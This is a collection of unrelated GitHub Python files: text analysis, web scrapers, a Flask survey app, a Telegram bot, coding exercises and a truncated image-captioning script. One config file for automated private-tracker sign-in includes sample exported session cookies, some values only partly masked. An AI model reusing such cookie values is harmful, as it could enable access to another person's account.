sentence.endswith(tuple(remove_list)):\n sentence = sentence[:-1]\n \n if bool(re.search(full+partial+partial+partial+\"$\",sentence)):\n cluster_list = re.findall(full+partial+partial+partial+\"$\", sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n #print(sentence)\n elif bool(re.search(full+partial+partial+\"$\",sentence)): \n cluster_list = re.findall(full+partial+partial+\"$\", sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n \n elif bool(re.search(full+partial+\"$\",sentence)): \n cluster_list = re.findall(full+partial+\"$\", sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n #print(sentence)\n elif bool(re.search(full+\"$\",sentence)):\n cluster_list = re.findall(full+\"$\", sentence)\n add_to_dict(cluster_dict,cluster_list,freq)\n #print(cluster_list)\n for cluster in cluster_list:\n sentence = sentence.replace(cluster,'')\n \n return sentence,cluster_dict\n\n\n###################### Main Region starts #######################\n#name = 'gfaridpur'\ndata = pd.read_csv(sys.argv[1],sep=',',encoding = 'utf8')\nwords = data.word.to_list()\nfreqs = data.freq.to_list()\n\n\ncluster_dict1 = dict()\ncluster_dict2 = dict()\ncluster_dict3 = dict()\nlength = len(words)\nprint(length)\nfor i in range(length):\n word = words[i]\n freq = int(freqs[i])\n if i % 10 == 0:\n print(i)\n\n #print(word)\n word,cluster_dict1 = get_first_cluster(word,cluster_dict1,freq)\n #print(word)\n word,cluster_dict3 = get_last_cluster(word,cluster_dict3,freq)\n #print(word)\n word,cluster_dict2 = get_internal_cluster(word,cluster_dict2,freq)\n #print(word)\n\n# print(cluster_dict1)\n# print(cluster_dict2)\n# print(cluster_dict3)\n\nsorted_dict1 = dict(sorted(cluster_dict1.items(), key=lambda x: x[1],reverse = True))\nsorted_dict2 = dict(sorted(cluster_dict2.items(), key=lambda x: x[1],reverse = True))\nsorted_dict3 = dict(sorted(cluster_dict3.items(), key=lambda x: x[1],reverse = True))\n#print(len(sorted_dict))\nkey_list1 = list(sorted_dict1.keys())\nvalue_list1 = list(sorted_dict1.values())\n\nkey_list2 = list(sorted_dict2.keys())\nvalue_list2 = list(sorted_dict2.values())\n\nkey_list3 = list(sorted_dict3.keys())\nvalue_list3 = list(sorted_dict3.values())\n\nfinal_list = []\nfinal_list += key_list1\nfinal_list += key_list2\nfinal_list += key_list3\n#print(final_list)\nfinal_list = set(final_list)\ndd = defaultdict(list,{ k:[] for k in final_list })\n#print(dd)\n\n\nfor d in (sorted_dict1, sorted_dict2,sorted_dict3): # you can list as many input dicts as you want here\n\n for key in dd.keys():\n if key in d:\n dd[key].append(d[key])\n else:\n dd[key].append(0)\n\n#final_sorted_dict = dict()\n#for clus in sorted_cluster_list:\n# final_sorted_dict[clus] = dd[clus]\nfinal_sorted_dict = dict(sorted(dd.items(),key = lambda x: x[0], reverse = False))\nkey_list = list(final_sorted_dict.keys())\nvalue_list = list(final_sorted_dict.values())\n\ndf = pd.DataFrame(zip(key_list,value_list))\ndf.columns = ['cluster','freq']\ndf.to_csv('output/cluster_dist.csv',index = False)\n","repo_name":"auishikpyne/REVE_tts","sub_path":"analyzer/contextual_cluster_finder.py","file_name":"contextual_cluster_finder.py","file_ext":"py","file_size_in_byte":8092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70714204261","text":"import os\nimport re\n\n# 需要签到的网站\nneednamelist = ['OpenCD']\n\n\nheaders = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36',\n}\n\nneednamelist = ['OpenCD']\n\n\n# 请求验证码的url,只有需要url_img的网址才会用到这个\ncheckin_php = {\n 'HDSky': 'https://h?????/image_code_ajax.php',\n 'OpenCD': 'https://www.op????cd/plugin_sign-in.php', }\n\n\n# 获取验证码hash的表单数据,只有需要url_img的网址才会用到这个\ndate = {\n 'HDSky': '{\"action\": \"new\"}',\n 'OpenCD': '1', }\n\n\n# 提交验证码url,只有需要url_img的网址才会用到这个\npost_submit = {\n 'HDSky': 'https://hd??????e/showup.php',\n 'OpenCD':'https://www.o????/plugin_sign-in.php?cmd=signin', }\n\n\n# 用于组合图片地址\nurl_img = {\n 'OpenCD': 'https://www.o????.cd/',\n\n}\n\n\n# 用于签到\nsignin_ok = {\n 'btschool': 'http://pt.b?????l.club/index.php?action=addbonus',\n 'OpenCD': 'https://www.o???????/plugin_sign-in.php?cmd=signin'\n\n}\n\n\n# 验证码识别所需配置\nNUMBER = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\nALPHABET = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\nALL_CHAR_SET = NUMBER + ALPHABET\nALL_CHAR_SET_LEN = len(ALL_CHAR_SET)\nMAX_CAPTCHA = 6\n\n\n#处理cookies\ndef cookies(web_name):\n with open(web_name, 'r') as f:\n lnum, data = 0, '#LWP-Cookies-2.0\\n' # 从饼干获取到的格式头不对,此处进行替换\n temp = f.readlines() # 由于只能使用一次读行,所有要设计一个变量保存读到的内容, 列表\n if temp[0] == \"// Semicolon separated Cookie File\\n\": # 判断是否未处理的文本:\n for line in temp[4:]:\n #print(line)\n data += line\n temp = re.sub('expires=\"(.*?)\"', 'expires=\"2038-01-19 03:14:07Z\"', data) # 替换expires内容\n\n f.close()\n with open(web_name, 'w') as f:\n f.write(temp)\n f.close()\n print(\"{}cookie已处理\".format(web_name))\n\n\nif __name__ == '__main__':\n os.chdir('../cookies')\n file = os.listdir()\n print(file)\n for text in file:\n if text[-3:] == 'txt':\n cookies(text)\n \n \n \n \n\"\"\"正确cookie\nLWP-Cookies-2.0\nSet-Cookie3: __cfduid=d8????????????????; path=\"/\"; domain=.btschool.club; path_spec; expires=\"2038-01-19 03:14:07Z\"; version=0\nSet-Cookie3: c_secure_login=bm9wZQ%3D%3D; path=\"/\"; domain=pt.b?????????????b; path_spec; expires=\"2038-01-19 03:14:07Z\"; version=0\nSet-Cookie3: c_secure_pass=ab???????????e68b70d748; path=\"/\"; domain=pt.btschool.club; path_spec; expires=\"2038-01-19 03:14:07Z\"; version=0\nSet-Cookie3: c_secure_ssl=e??????????=pt.btschool.club; path_spec; expires=\"2038-01-19 03:14:07Z\"; version=0\nSet-Cookie3: c_secure_tracker_ssl=eWVhaA%3D%3D; path=\"/\"; domain=pt.btschool.club; path_spec; expires=\"2038-01-19 03:14:07Z\"; version=0\nSet-Cookie3: c_secure_uid=MjU4Nzk%3D; path=\"/\"; do?????????c; expires=\"2038-01-19 03:14:07Z\"; version=0\n\"\"\"\n\n\"\"\"小饼干导出的cookie\n// Semicolon separated Cookie File\n// This file was generated by EditThisCookie\n// Details: http://www.cookiecentral.com/faq/#3.5\n// Example: http://www.tutorialspoint.com/javascript/javascript_cookies.htm\nSet-Cookie3: __cfduid=d8f7.???????????????????15963??????????; path=\"/\"; domain=.btschool.club; path_spec; expires=\"1598967380.612054\"; version=0\nSet-Cookie3: c_secure_login=bm9wZQ%3D%3D; path=\"/\"; domain=pt.btschool.club; path_spec; expires=\"2147483649.314056\"; version=0\nSet-Cookie3: c_secure_pass=ab4bc1??????????????????d748; path=\"/\"; domain=pt.btschool.club; path_spec; expires=\"2147483649.314007\"; version=0\nSet-Cookie3: c_secure_ssl=eWVhaA%3D???????????????ool.club; path_spec; expires=\"2147483649.314026\"; version=0\nSet-Cookie3: c_secure_tracker_ssl=eWVhaA%3D%3D; path=\"/\"; domain=pt.btschool.club; path_spec; expires=\"2147483649.314042\"; version=0\nSet-Cookie3: c_secure_uid=MjU4Nzk%3D; path=\"/\"; d??????????????? path_spec; expires=\"2147483649.313943\"; version=0\n\"\"\"\n","repo_name":"Eao-Kind/NexusPHP_signin","sub_path":"config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"} +{"seq_id":"2049331567","text":"\"\"\"\n使用 requests 和 xpath\n$ pip install requests\n$ pip install lxml\n如果安装出错可以尝试更换国内源\n$ pip install -i https://pypi.doubanio.com/simple lxml\n\"\"\"\nimport requests\nfrom lxml import etree\n\nresponse = requests.get(\"http://anipython.com/crawler/1/\")\nhtml_text = response.text\nhtml_element = etree.HTML(html_text)\nresult = html_element.xpath('//div[@class=\"card-body\"]/text()')[0].strip()\nprint(result)\n# 输出: Hello world\n","repo_name":"AniPython/ani","sub_path":"apps/crawler/code/crawler1_3.py","file_name":"crawler1_3.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"40430972367","text":"# 주어진 수를 1빼기, 3나누기, 2나누기 중 하나의 연산을 해서 진행하라고 했지만, \r\n# 횟수를 구하는 문제이기 때문에 거꾸로 1에서부터 10이 되기 위한 과정의 횟수를 구해도 된다.\r\n\r\nn = int(input())\r\nmemo = [0]*(n+1) # 첫 번째 주어진 값을 1로 시작해서 저장하기 때문에 n+1개\r\n\r\nfor i in range(2, n+1): # 인덱스 2부터 이전 인덱스의 값과 비교해서 1 빼기\r\n memo[i] = memo[i-1]+1 # 횟수 1 더한 값을 다음 인덱스에 저장\r\n if i%3 == 0: # 만약 3으로 나눠지면 이전 인덱스에서 1 더한 값과\r\n memo[i] = min(memo[i], memo[i//3] + 1) # 3으로 나눈 인덱스에 횟수 1 더한 값 중 작은 수로 저장 \r\n if i%2 == 0: # 만약 2로 나눠지면 1 뺀 값과 2로 나눴을 때의 인덱스에 횟수 1 더한 값 중 작은 수 저장\r\n memo[i] = min(memo[i], memo[i//2] + 1)\r\nprint(memo[n]) # 10번째 memo ( 횟수가 저장된 리스트) 출력\r\n","repo_name":"seonghoho/Algorithm","sub_path":"백준/Silver/1463. 1로 만들기/1로 만들기.py","file_name":"1로 만들기.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"22891653204","text":"\n\n######## REGISTER\nfrom config import *\n\n@bot.callback_query_handler(func=lambda call: call.data==\"register_member\")\ndef callback_hand(call):\n \"\"\"\n this function listens for register member callback button press\n it check it current user is already registered and calls the register_new function\n \"\"\"\n bot.answer_callback_query(call.id)\n user_id = call.from_user.id\n name = call.from_user.first_name\n message_id = call.message.json['message_id']\n epush_user = db.Users.get(user_id)\n if epush_user != None:\n username = epush_user.username\n lang = epush_user.lang\n text_register = {\n \"en\":\n\n f\"\"\"\nOops 🤷‍♀️ you've already registered, {name} .\nYour Instagram account is registered with @ {username} \nIf you want to change your username, just click the button below unten\nYou can also contact us with / support\n \"\"\",\n\n \"de\":\n\n f\"\"\"\nUps 🤷‍♀️ du hast dich schon registriert, {name}.\nDein Instagram Account ist mit @{username} registriert \nWenn du deinen Usernamen ändern willst, click einfach auf den Button hier unten 🖱\nDu kannst uns auch mit /support kontaktieren\n \"\"\"\n }\n bot.edit_message_text(\n text=text_register[lang],\n chat_id=user_id,\n message_id=message_id,\n parse_mode=\"html\",\n reply_markup=dashview_markup[lang]\n\n # reply_markup=dashview_markup\n )\n else:\n bot.send_message(\n user_id, \n text=\"Please enter your Instagram username with an @ in front (e.g. '@ user123')👩🖥️\",\n reply_markup=force_reply\n )\n bot.register_for_reply_by_message_id(message_id+1, register_new_user)\n\n \ndef register_new_user(message):\n chat_id = message.chat.id\n insta_username = message.text\n name = message.from_user.first_name\n user_id = message.from_user.id\n epush_user = db.Users.get(user_id)\n if epush_user == None:\n username=insta_username.strip(\"@\")\n epush_user = db.Users(\n user_id=user_id,\n name=name,\n username=username,\n join_date=datetime.datetime.now()\n )\n epush_user.commit()\n text = f\"\"\"\nPerfect! Welcome to the family. 👨👩👧👦 Your Instagram username is saved with @{username} 💾. You can change it later if you need to.\n \"\"\"\n bot.send_message(\n chat_id,\n text=text,\n parse_mode=\"html\",\n reply_markup=dashboard_markup[\"en\"]\n )\n \n else:\n username=insta_username.strip(\"@\")\n epush_user.username=username\n epush_user.commit()\n lang = epush_user.lang\n text = {\n \"en\":\n f\"\"\"\nYour Instagram Username has been changed to {username}\n \"\"\",\n\n \"de\":\n f\"\"\"\nDein Instagram-Benutzername wurde in {username} geändert.\n \"\"\"\n }\n bot.send_message(\n chat_id,\n text=text[lang],\n parse_mode=\"html\",\n reply_markup=dashboard_markup[lang]\n )\n\n\n####### _change user\n@bot.callback_query_handler(func=lambda call: call.data==\"input_user\")\ndef input_user(call):\n bot.answer_callback_query(call.id)\n user_id = call.from_user.id\n message_id = call.message.json['message_id']\n epush_user = db.Users.get(user_id)\n lang = epush_user.lang\n text = {\n \"en\": \"Enter your instagram username/handle e.g @user123\",\n \"de\": \"Geben Sie Ihren Instagram-Benutzernamen / Handle ein, z. B. @ user123\"\n }\n bot.send_message(\n user_id, \n text=text[lang],\n reply_markup=force_reply\n )\n bot.register_for_reply_by_message_id(message_id+1, register_new_user)\n","repo_name":"richardokonicha/Engagement-Pushbot","sub_path":"features/registeration.py","file_name":"registeration.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"} +{"seq_id":"37333674180","text":"a = [\"eswar\",\"rao\",\"413\",\"btech\"]\nfor x in a:\n print(x)\n\n#we can also loop through a string\nb = \"eswar\"\nfor x in b:\n print(x)\n\n#We can stop the loop when reaches perticular object\nc = [\"\\nbreak\",\"eswar\",\"laptop\",\"python\\n\",\"lcms\",\"3drim\"]\nfor x in c:\n #print(x)\n if x == \"lcms\":\n break#wil stop loop after reaching the lcms\n print(x)\n\n#we can escape print an object by using continue statement\nd = [\"continue\",\"eswar\",\"laptop\",\"python\",\"lcms\",\"3drim\"]\nfor x in d:\n if x == \"python\":\n continue\n print(x)\n\n#RANGE\n#by using range() we can loop for a number of times range\nfor e in range(6):\n print(e)\n\n#we can tell the starting point of range\nfor f in range(2,6):\n print(f)\n\n#we can also specify the default increment number in range\nfor g in range(1,6,2):#the last value will tells for how meny jumps need to print\n print(g)\n\n#we can use else in for loop also\nfor x in range(3):\n print(x)\nelse:\n print(\"for loop done!, else printed\")\n\n#the else will not works if we use a break statement \nfor x in range(6):\n print(x)\n if x==3:\n break\nelse:\n print(\"it will not be printed because we used the break in for loop\")\n\n\n#we can do nested for loop\nh = [\"continue\",\"eswar\",\"laptop\",\"python\",\"lcms\",\"3drim\"]\ni = [\"\\nbreak\",\"eswar\",\"laptop\",\"python\\n\",\"lcms\",\"3drim\"]\nfor x in h:\n for y in i:\n print(x,y)\n\n#in some situation if you dont need operation in for loop but you need to do for loop then you can use \"pass\" for get free fo-rom error\nfor x in range(8):\n pass","repo_name":"Eswararaokotakota/Python-learning","sub_path":"Basics/forloop.py","file_name":"forloop.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"42184462409","text":"'''\nRansom Note\nEasy\n\nGiven two stings ransomNote and magazine, return true if ransomNote can be constructed from magazine and false otherwise.\n\nEach letter in magazine can only be used once in ransomNote.\n\n \n\nExample 1:\n\nInput: ransomNote = \"a\", magazine = \"b\"\nOutput: false\n\nExample 2:\n\nInput: ransomNote = \"aa\", magazine = \"ab\"\nOutput: false\n\nExample 3:\n\nInput: ransomNote = \"aa\", magazine = \"aab\"\nOutput: true\n'''\n\nclass Solution:\n def canConstruct(self, ransomNote: str, magazine: str) -> bool: \n for char in ransomNote:\n if char not in magazine:\n return False\n \n magazine = magazine.replace(char, \"\", 1)\n \n return True\n","repo_name":"k4u5h4L/algorithms","sub_path":"leetcode/Ransom_Note.py","file_name":"Ransom_Note.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"2085767617","text":"from flask import Flask, render_template, jsonify, request\n\napp = Flask(__name__)\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom pymongo import MongoClient\n\nclient = MongoClient('localhost', 27017)\ndb = client.dbsparta\n\n\n## HTML을 주는 부분\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route('/participate')\ndef home_participate():\n return render_template('index_participate.html')\n\n\n@app.route('/result')\ndef home_result():\n return render_template('index_result.html')\n\n\n@app.route('/register', methods=['GET'])\ndef data_loading():\n questions = list(db.surveytest.find({}, {'_id': False}).sort(\"number\"))\n return jsonify({'all_questions': questions})\n\n\n## API 역할을 하는 부분\n@app.route('/register', methods=['POST'])\ndef data_saving():\n number_receive = request.form['number_give']\n question_receive = request.form['question_give']\n type_receive = request.form['type_give']\n list_receive = request.form['list_give'].split(\",\")\n\n if number_receive == 0:\n return jsonify({'msg': \"문항 번호를 입력해주세요.\"})\n if question_receive == \"\":\n return jsonify({'msg': \"질문을 입력해주세요.\"})\n if type_receive == \"\":\n return jsonify({'msg': \"유형을 선택해주세요.\"})\n if type_receive != \"word\" and list_receive == ['']:\n return jsonify({'msg': \"보기를 1개 이상 입력해주세요.\"})\n\n doc = {\n 'number': number_receive,\n 'question': question_receive,\n 'type': type_receive,\n 'list': list_receive\n }\n\n db.surveytest.insert_one(doc)\n\n return jsonify({'msg': \"문항이 저장되었습니다.\"})\n\n\n@app.route('/participate/load', methods=['GET'])\ndef question_loading():\n questions = list(db.surveytest.find({}, {'_id': False}).sort(\"number\"))\n return jsonify({'all_questions': questions})\n\n\n@app.route('/result/load', methods=['GET'])\ndef answer_loading():\n answers = list(db.surveyanswertest.find({}, {'_id': False}).sort(\"number\"))\n return jsonify({'all_answers': answers})\n\n\n## API 역할을 하는 부분\n@app.route('/participate/save', methods=['POST'])\ndef answer_saving():\n number_receive = request.form['number_give']\n question_receive = request.form['question_give']\n answer_receive = request.form['answer_give']\n\n doc = {\n 'number': number_receive,\n 'question': question_receive,\n 'answer': answer_receive\n }\n\n db.surveyanswertest.insert_one(doc)\n\n return jsonify({'msg': \"답변이 저장되었습니다.\"})\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)\n","repo_name":"smc5720/Bootstrap-Survey","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"22606978573","text":"n = int(input())\r\nstack = []\r\nans = []\r\ncnt = 1\r\npossible = True\r\n\r\nfor _ in range(n):\r\n target = int(input())\r\n\r\n while cnt <= target:\r\n stack.append(cnt)\r\n ans.append('+')\r\n cnt += 1\r\n\r\n if target == stack.pop():\r\n ans.append('-')\r\n else:\r\n print('NO')\r\n possible = False\r\n break\r\n\r\nif possible:\r\n for i in ans:\r\n print(i)","repo_name":"h99spark/baekjoon","sub_path":"baekjoon_1874.py","file_name":"baekjoon_1874.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27645582603","text":"import time\nimport pandas as pd\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service as ChromiumService\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom webdriver_manager.core.utils import ChromeType\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.common.exceptions import ElementNotInteractableException\n\n\nclass Scraper():\n def __init__(self, url: str = 'https://soundcloud.com/discover'): \n options = Options()\n options.add_argument('--headless')\n self.driver = webdriver.Chrome(service=ChromiumService(ChromeDriverManager(chrome_type=ChromeType.CHROMIUM).install()), options=options)\n self.driver.get(url)\n\n def load_and_accept_cookies(self, xpath: str = '//*[@id=\"onetrust-accept-btn-handler\"]'):\n time.sleep(2)\n accept_cookies_button = self.driver.find_element(By.XPATH, xpath)\n accept_cookies_button.click()\n time.sleep(2)\n\n\n def get_links_of_Top_50_charts(self):\n li_tag = self.driver.find_element(By.XPATH, '//li[@data-test-id=\"selection\"]')\n next_button = li_tag.find_element(By.XPATH, '//button[@class=\"tileGallery__sliderButton tileGallery__slideForwardButton sc-button sc-button-small sc-button-icon\"]')\n # Click the next button until it is disabled\n try: \n while True:\n next_button.click()\n time.sleep(1)\n except ElementNotInteractableException:\n print(\"Done\")\n genres = li_tag.find_elements(By.XPATH, './/div[@class=\"tileGallery__sliderPanelSlide\"]')\n self.all_links = []\n genre_titles = []\n for genre in genres:\n genre_title = genre.find_element(By.XPATH, './/a[@class=\"playableTile__heading playableTile__mainHeading sc-truncate sc-type-light sc-text-secondary sc-font-light sc-link-dark sc-link-primary sc-text-h4\"]').text\n link = genre.find_element(By.XPATH, './/a[@class=\"playableTile__artworkLink\"]').get_attribute('href')\n self.all_links.append(link)\n genre_titles.append(genre_title)\n \n genre_dict = {\"Genre\" : genre_titles , \"URL link\" : self.all_links}\n\n df_links = pd.DataFrame(genre_dict)\n\n print(df_links)\n return self.all_links\n \n \n def get_data(self, all_links):\n for link in all_links:\n self.driver.get(link)\n self.scroll_down_page()\n self.get_top_50()\n self.driver.get('https://soundcloud.com/discover')\n time.sleep(2)\n\n \n def scroll_down_page(self):\n last_height = self.driver.execute_script(\"return document.body.scrollHeight\")\n while True:\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(2)\n new_height = self.driver.execute_script(\"return document.body.scrollHeight\")\n if new_height == last_height:\n break\n last_height = new_height\n self.songs = self.driver.find_elements(By.XPATH, '//li[@class=\"systemPlaylistTrackList__item sc-border-light-bottom sc-px-2x\"]')\n \n def get_top_50(self):\n artists = []\n titles = []\n for song in self.songs:\n song_artist = song.find_element(By.XPATH, './/a[@class=\"trackItem__username sc-link-light sc-link-secondary sc-mr-0.5x\"]').text\n song_title = song.find_element(By.XPATH, './/a[@class=\"trackItem__trackTitle sc-link-dark sc-link-primary sc-font-light\"]').text\n artists.append(song_artist)\n titles.append(song_title)\n time.sleep(2)\n \n song_dict = {\"Artist\" : artists , \"Title\" : titles}\n\n df_songs = pd.DataFrame(song_dict)\n print(df_songs)\n \n def run(self):\n self.load_and_accept_cookies()\n self.get_links_of_Top_50_charts()\n all_links = self.get_links_of_Top_50_charts()\n self.get_data(all_links)\n\n\nif __name__ == \"__main__\":\n bot = Scraper()\n bot.run()\n","repo_name":"christabelgilmour/data-collection-pipeline","sub_path":"headless_mode.py","file_name":"headless_mode.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"10046362629","text":"import tkinter as tk\n\nimport pages as pg\nimport page_utils as pu\n#\n# Main app\n#\nclass MainApp(tk.Tk):\n def __init__(self):\n tk.Tk.__init__(self)\n\n # Main frame containing the pages\n mainframe = tk.Frame(self)\n mainframe.pack(side=\"top\", fill=\"both\", expand=True)\n mainframe.grid_rowconfigure(0, weight=1)\n mainframe.grid_columnconfigure(0, weight=1)\n\n # Cycle through pages and set their parent + controller\n self.pages = {}\n for _page in (pg.HomePage, pg.SimPage, pg.AnalysisPage, pg.BodiesPage):\n page_name = _page.__name__\n page = _page(parent=mainframe, controller=self)\n self.pages[page_name] = page\n page.grid(row=0, column=0, sticky=\"NESW\")\n\n self.show_page(\"HomePage\")\n\n # Function to raise the selected page to the front\n def show_page(self, page_name):\n page = self.pages[page_name]\n page.tkraise()\n\n# Run the main loop\nif __name__==\"__main__\":\n app = MainApp()\n app.mainloop()\n","repo_name":"adamkoval/gui_MERCURY","sub_path":"gui/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"17318505944","text":"from main import db\nfrom models.Payrolls import PayrollsModel\nclass EmployeeModel(db.Model):\n __tablename__ = 'employees'\n id = db.Column(db.Integer, primary_key=True)\n first_name = db.Column(db.String(50), nullable=False)\n second_name = db.Column(db.String(50), nullable=False)\n gender = db.Column(db.String(10), nullable=False)\n national_id = db.Column(db.String(20),unique=True, nullable=False)\n kra_pin = db.Column(db.String(20),unique=True, nullable=False)\n email = db.Column(db.String(50),unique=True, nullable=False)\n departmentID = db.Column(db.Integer, db.ForeignKey('departments.id'))\n basic_salary = db.Column(db.Float)\n allowances = db.Column(db.Float)\n\n emp_payrolls = db.relationship(PayrollsModel, backref='employee')\n\n #creating entry\n def instert_into_database(self): #this is an instance method\n db.session.add(self)\n db.session.commit()\n #reading\n @classmethod\n def fetch_by_id(cls, emp_id):\n return cls.query.filter_by(id=emp_id).first()\n\n @classmethod\n def fetch_all(cls):\n return cls.query.all()\n\n #update record\n @classmethod\n def update_by_id(cls,id,first_name=None,second_name=None,gender=None,national_id=None,kra_pin=None,email=None,departmentID=None,basic_salary=None,allowances=None):\n record = cls.fetch_by_id(emp_id=id)\n if first_name:\n record.first_name=first_name\n if second_name:\n record.second_name = second_name\n if gender:\n record.gender=gender\n if national_id:\n record.national_id = national_id\n if kra_pin:\n record.kra_pin=kra_pin\n if email:\n record.email = email\n if departmentID:\n record.departmentID=departmentID\n if basic_salary:\n record.basic_salary = basic_salary\n if allowances:\n record.allowances = allowances\n\n db.session.commit()\n return True\n\n #delete record\n @classmethod\n def delete_by_id(cls,id):\n record = cls.query.filter_by(id=id)\n record.delete()\n db.session.commit()\n return True\n\n\n\n\n","repo_name":"aaronmatei/Payroll-System","sub_path":"models/Employees.py","file_name":"Employees.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"19364600609","text":"# 输入一个四位整数,对其加密后输出\n# 加密方法:每位数字分别加9后除以10取余数,从而得到四位新数字。然后将千位和十位数字互换,百位和个位数字互换。\n\n# 输入四位整数\nnum = input(\"请输入四位整数:\")\n# 将字符串转换为整数\nNum = int(num)\n# 取个位\ndigit3 = Num % 10\n# 取十位\ndigit2 = (Num % 100 - digit3) / 10\n# 取百位\ndigit1 = (Num % 1000 - digit2 * 10 - digit3) / 100\n# 取千位\ndigit0 = (Num - digit1 * 100 - digit2 * 10 - digit3) / 1000\n# 分别加密\ndigit0 = int((digit0 + 9) % 10)\ndigit1 = int((digit1 + 9) % 10)\ndigit2 = int((digit2 + 9) % 10)\ndigit3 = int((digit3 + 9) % 10)\n# 输出结果\nprint(\"加密后的数字为:\" + str(digit2) + str(digit3) + str(digit0) + str(digit1))\n","repo_name":"wmh001/learning","sub_path":"程序设计思想与方法:Python/519021911083王茂华上机一.py","file_name":"519021911083王茂华上机一.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"3408868209","text":"import json\nfrom typing import Dict, Iterable, Union\n\n\nclass Question:\n def __init__(\n self,\n prompt: str,\n answer: str,\n ) -> None:\n self.prompt = prompt\n self.answer = answer\n self.response = None\n\n def ask(self):\n self.response = input(self.prompt)\n\n def validate(self):\n return self.response == self.answer\n\n def to_json(self):\n return json.dumps(\n self,\n default=lambda o: o.__dict__,\n sort_keys=True,\n indent=4,\n )\n\n @staticmethod\n def from_json(data: Dict):\n return Question(\n prompt=data[\"prompt\"],\n answer=data[\"answer\"],\n )\n\n\nclass MultipleChoiceQuestion(Question):\n def __init__(\n self,\n prompt: str,\n answer: str,\n choices: Iterable[str],\n ):\n super(MultipleChoiceQuestion, self).__init__(prompt, answer)\n self.choices = choices\n if self.answer not in self.choices:\n raise \"Answer must be in choices\"\n\n def ask(self):\n print(self.prompt)\n print(\"Choices: \" + \",\".join(self.choices))\n self.response = input(\"Your answer: \")\n\n @staticmethod\n def from_json(data: Dict):\n return MultipleChoiceQuestion(\n prompt=data[\"prompt\"],\n answer=data[\"answer\"],\n choices=data[\"choices\"],\n )\n","repo_name":"jeff999955/Python-Fall-2022","sub_path":"question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"5190815671","text":"import time\nfrom collections import Counter\nfrom itertools import chain\nfrom string import digits\n\nimport numpy as np\nimport pickle\n\nimport os\n\nfrom keras.applications.inception_v3 import preprocess_input\nfrom keras.applications import InceptionV3\nfrom keras.preprocessing import image\n\nfrom app.algorithm import helper\n\n\nclass DataPreprocessing(object):\n def __init__(self, run_inception=False, word_threshold=-1):\n self.root_path = helper.root_dir()\n self.word_threshold = word_threshold\n self.max_caption_length = 0\n self.run_inception = run_inception\n self.IMG_FEATURES = 1000 # inception model\n self.BOS = '' # Beginning Of Sentence\n self.EOS = '' # End Of Sentence\n self.PAD = '

'\n self.word_frequencies = None\n self.captions = None\n self.image_files = None\n self.image_features = None\n self.word_to_id = None\n self.id_to_word = None\n self.extracted_features = None\n self.features_file_names = None\n self.image_feature_files = None\n self.vocabulary_size = 0\n\n def run(self):\n start = time.time()\n self._load()\n self._process_captions()\n self.word_frequencies = Counter(chain(*self.captions)).most_common()\n self._remove_infrequent_words()\n self._construct_dictionary()\n if self.run_inception:\n self._extract_image_features()\n self._write_data()\n end = time.time()\n seconds = end - start\n m, s = divmod(seconds, 60)\n h, m = divmod(m, 60)\n print(\"Processing time: %d:%02d:%02d\" % (h, m, s))\n\n def _write_data(self):\n log_file = open(self.root_path + '/data/data_parameters.log', 'w')\n log_file.write('BOS: %s \\n' % self.BOS)\n log_file.write('EOS: %s \\n' % self.EOS)\n log_file.write('PAD: %s \\n' % 